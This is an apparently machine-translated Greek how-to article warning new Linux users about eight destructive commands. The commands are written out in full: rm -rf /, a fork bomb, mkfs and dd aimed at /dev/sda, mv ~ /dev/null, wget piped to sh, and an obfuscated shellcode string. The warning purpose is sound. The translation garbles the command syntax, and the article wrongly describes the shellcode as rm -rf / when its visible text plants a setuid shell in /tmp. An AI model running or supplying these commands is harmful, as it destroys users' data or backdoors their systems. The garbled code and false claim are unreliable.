Αρχική σελίδα » πως να » 8 Θανάσιμες εντολές δεν πρέπει ποτέ να τρέξετε σε Linux

    8 Θανάσιμες εντολές δεν πρέπει ποτέ να τρέξετε σε Linux

    Οι εντολές τερματικού του Linux είναι ισχυρές και το Linux δεν θα σας ζητήσει επιβεβαίωση εάν εκτελέσετε μια εντολή που θα σπάσει το σύστημά σας. Δεν είναι ασυνήθιστο να βλέπετε trolls online συνιστώντας νέους χρήστες του Linux να τρέχουν αυτές τις εντολές ως αστείο.

    Η εκμάθηση των εντολών που δεν πρέπει να εκτελέσετε μπορεί να σας βοηθήσει να προστατευθείτε από τους trolls ενώ παράλληλα θα αυξήσετε την κατανόησή σας για το πώς λειτουργεί το Linux. Αυτός δεν είναι ένας εξαντλητικός οδηγός και οι εντολές εδώ μπορούν να αναμειχθούν με διάφορους τρόπους.

    Λάβετε υπόψη ότι πολλές από αυτές τις εντολές θα είναι επικίνδυνες μόνο εάν έχουν προκαθοριστεί sudo στο Ubuntu - δεν θα λειτουργήσουν διαφορετικά. Σε άλλες διανομές Linux, οι περισσότερες εντολές πρέπει να εκτελούνται ως root.

    Image Credit: Το κρανίο και οι crossbows ανακατεύονται από τον Jason Ford στο Twitter

    rm -rf / - Διαγράφει τα πάντα!

    Η εντολή rm -rf / διαγράφει οτιδήποτε μπορεί, συμπεριλαμβανομένων των αρχείων στον σκληρό σας δίσκο και των αρχείων σε συνδεδεμένες συσκευές αφαιρούμενων μέσων. Αυτή η εντολή είναι πιο κατανοητή αν είναι κατανεμημένη:

    rm - Καταργήστε τα ακόλουθα αρχεία.

    -rf - Εκτελέστε αναδρομικά το rm (διαγράψτε όλα τα αρχεία και τους φακέλους μέσα στον καθορισμένο φάκελο) και βγάλτε όλα τα αρχεία χωρίς να σας ζητήσουμε.

    / / - Αναφέρει το rm να ξεκινά από τον ριζικό κατάλογο, ο οποίος περιέχει όλα τα αρχεία στον υπολογιστή σας και όλες τις εγκατεστημένες συσκευές πολυμέσων, συμπεριλαμβανομένων των απομακρυσμένων αρχείων και των αφαιρούμενων μονάδων δίσκου.

    Το Linux θα υπακούσει με ευχαρίστηση αυτή την εντολή και θα διαγράψει τα πάντα χωρίς να σας προτρέπει, γι 'αυτό να είστε προσεκτικοί όταν το χρησιμοποιείτε! Η εντολή rm μπορεί επίσης να χρησιμοποιηθεί με άλλους επικίνδυνους τρόπους - rm -rf ~ θα διαγράψει όλα τα αρχεία στον αρχικό σας φάκελο, ενώ rm -rf. * θα διαγράψει όλα τα αρχεία ρυθμίσεων.

    Το μάθημα: Προσοχή rm -rf.

    Μεταμφίεση rm -rf /

    Ακολουθεί ένα άλλο απόσπασμα κώδικα που είναι σε όλο τον ιστό:

    char esp [] __attribute__ ((ενότητα ("κείμενο"))) / * e.s.p
    απελευθέρωση * /
    = "Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    "\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
    "\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
    "\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
    "\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
    "\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
    "Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond; ";

    Αυτή είναι η hex έκδοση του rm -rf / - η εκτέλεση αυτής της εντολής θα εξαλείψει τα αρχεία σας σαν να είχατε εκτελέσει rm -rf /.

    Το μάθημα: Μην τρέχετε περίεργες, προφανώς μεταμφιεσμένες εντολές που δεν καταλαβαίνετε.

    : () : |: & ;: - Bomb Bomb

    Η παρακάτω γραμμή είναι μια απλή εμφάνιση, αλλά επικίνδυνη λειτουργία bash:

    : () : |: &:

    Αυτή η σύντομη γραμμή ορίζει μια λειτουργία κελύφους που δημιουργεί νέα αντίγραφα του ίδιου. Η διαδικασία επαναλαμβάνεται συνεχώς και τα αντίγραφα συνεχώς αναπαράγονται, παίρνοντας γρήγορα όλο το χρόνο και τη μνήμη του CPU. Αυτό μπορεί να προκαλέσει τον υπολογιστή σας να παγώσει. Είναι βασικά μια επίθεση άρνησης υπηρεσίας.

    Το μάθημα: Οι λειτουργίες Bash είναι ισχυρές, ακόμη και πολύ σύντομες.

    Image Credit: Dake στο Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Διαμορφώνει έναν σκληρό δίσκο

    ο mkfs.ext4 / dev / sda1 Η εντολή είναι απλή στην κατανόηση:

    mkfs.ext4 - Δημιουργήστε ένα νέο σύστημα αρχείων ext4 στην ακόλουθη συσκευή.

    / dev / sda1 - Ορίζει το πρώτο διαμέρισμα στον πρώτο σκληρό δίσκο, ο οποίος πιθανώς χρησιμοποιείται.

    Συνολικά, αυτή η εντολή μπορεί να είναι ισοδύναμη με τη μορφή c: στα Windows - θα σκουπίσει τα αρχεία στο πρώτο σας τμήμα και θα τα αντικαταστήσει με ένα νέο σύστημα αρχείων.

    Αυτή η εντολή μπορεί να έρθει και σε άλλες μορφές - mkfs.ext3 / dev / sdb2 θα μορφοποιήσει το δεύτερο διαμέρισμα στη δεύτερη μονάδα σκληρού δίσκου με το σύστημα αρχείων ext3.

    Το μάθημα: Προσοχή να τρέχετε εντολές απευθείας σε συσκευές σκληρού δίσκου που αρχίζουν με το / dev / sd.

    εντολή> / dev / sda - Γράφει απευθείας σε σκληρό δίσκο

    ο εντολή> / dev / sda line λειτουργεί παρόμοια - τρέχει μια εντολή και στέλνει την έξοδο της εντολής απευθείας στον πρώτο σας σκληρό δίσκο, γράφοντας τα δεδομένα απευθείας στη μονάδα σκληρού δίσκου και βλάπτοντας το σύστημα αρχείων σας.

    εντολή - Εκτελέστε μια εντολή (μπορεί να είναι οποιαδήποτε εντολή.)

    > - Στείλτε την έξοδο της εντολής στην ακόλουθη θέση.

    / dev / sda - Γράψτε την έξοδο της εντολής απευθείας στη συσκευή σκληρού δίσκου.

    Το μάθημα: Όπως παραπάνω, προσέξτε να τρέχετε εντολές που περιλαμβάνουν συσκευές σκληρού δίσκου που αρχίζουν με το / dev / sd.

    dd if = / dev / random of = / dev / sda - Γράφει ανεπιθύμητη μετάδοση σε σκληρό δίσκο

    ο dd αν = / dev / τυχαία από = / dev / sda γραμμή θα διαγράψει επίσης τα δεδομένα σε έναν από τους σκληρούς δίσκους σας.

    dd - Εκτελέστε αντιγραφή χαμηλού επιπέδου από τη μια θέση στην άλλη.

    αν = / dev / τυχαία - Χρησιμοποιήστε το / dev / random (τυχαία δεδομένα) ως είσοδο - μπορείτε επίσης να δείτε τοποθεσίες όπως το / dev / zero (μηδενικά).

    από = / dev / sda - Έξοδος στον πρώτο σκληρό δίσκο, αντικαθιστώντας το σύστημα αρχείων με τυχαία δεδομένα σκουπιδιών.

    Το μάθημα: dd αντιγράφει δεδομένα από μια τοποθεσία σε άλλη, κάτι που μπορεί να είναι επικίνδυνο εάν αντιγράφετε απευθείας σε μια συσκευή.

    Πιστωτική εικόνα: Matt Rudge στο Flickr

    mv ~ / dev / null - Μεταφέρει τον αρχικό σας κατάλογο σε μια μαύρη τρύπα

    / dev / null είναι μια άλλη ειδική θέση - μετακίνηση κάτι στο / dev / null είναι το ίδιο πράγμα με την καταστροφή του. Σκεφτείτε το / dev / null ως μαύρη τρύπα. Ουσιαστικά, mv ~ / dev / null στέλνει όλα τα προσωπικά σας αρχεία σε μια μαύρη τρύπα.

    mv - Μετακινήστε το παρακάτω αρχείο ή κατάλογο σε άλλη θέση.

    ~ - Αντιπροσωπεύει ολόκληρο τον αρχικό σας φάκελο.

    / dev / null - Μετακινήστε τον αρχικό σας φάκελο στο / dev / null, καταστρέφοντας όλα τα αρχεία σας και διαγράφοντας τα πρωτότυπα αντίγραφα.

    Το μάθημα: Ο χαρακτήρας ~ αντιπροσωπεύει τον φάκελο του σπιτιού σας και μετακινεί τα πράγματα στο / dev / null τα καταστρέφει.

    wget http://example.com/something -O - | sh - Λήγει και εκτελεί ένα σενάριο

    Η παραπάνω γραμμή κατεβάζει μια δέσμη ενεργειών από τον ιστό και την στέλνει στο sh, το οποίο εκτελεί τα περιεχόμενα του σεναρίου. Αυτό μπορεί να είναι επικίνδυνο αν δεν είστε βέβαιοι για το τι είναι το σενάριο ή εάν δεν εμπιστεύεστε την πηγή του - μην εκτελέσετε μη αξιόπιστα σενάρια.

    wget - Λήγει ένα αρχείο. (Μπορεί επίσης να δείτε μπούκλα στη θέση του wget.)

    http://example.com/something - Κάντε λήψη του αρχείου από αυτήν την τοποθεσία.

    | - Pipe (αποστολή) της εξόδου της εντολής wget (το αρχείο που κατεβάσατε) απευθείας σε μια άλλη εντολή.

    SH - Στείλτε το αρχείο στην εντολή sh, η οποία την εκτελεί αν είναι ένα script bash.

    Το μάθημα: Μην κατεβάζετε και τρέχετε μη αξιόπιστα σενάρια από τον ιστό, ακόμη και με μια εντολή.


    Γνωρίζετε άλλες επικίνδυνες εντολές που οι νέοι (και έμπειροι) χρήστες του Linux δεν πρέπει να τρέχουν; Αφήστε ένα σχόλιο και μοιραστείτε τα!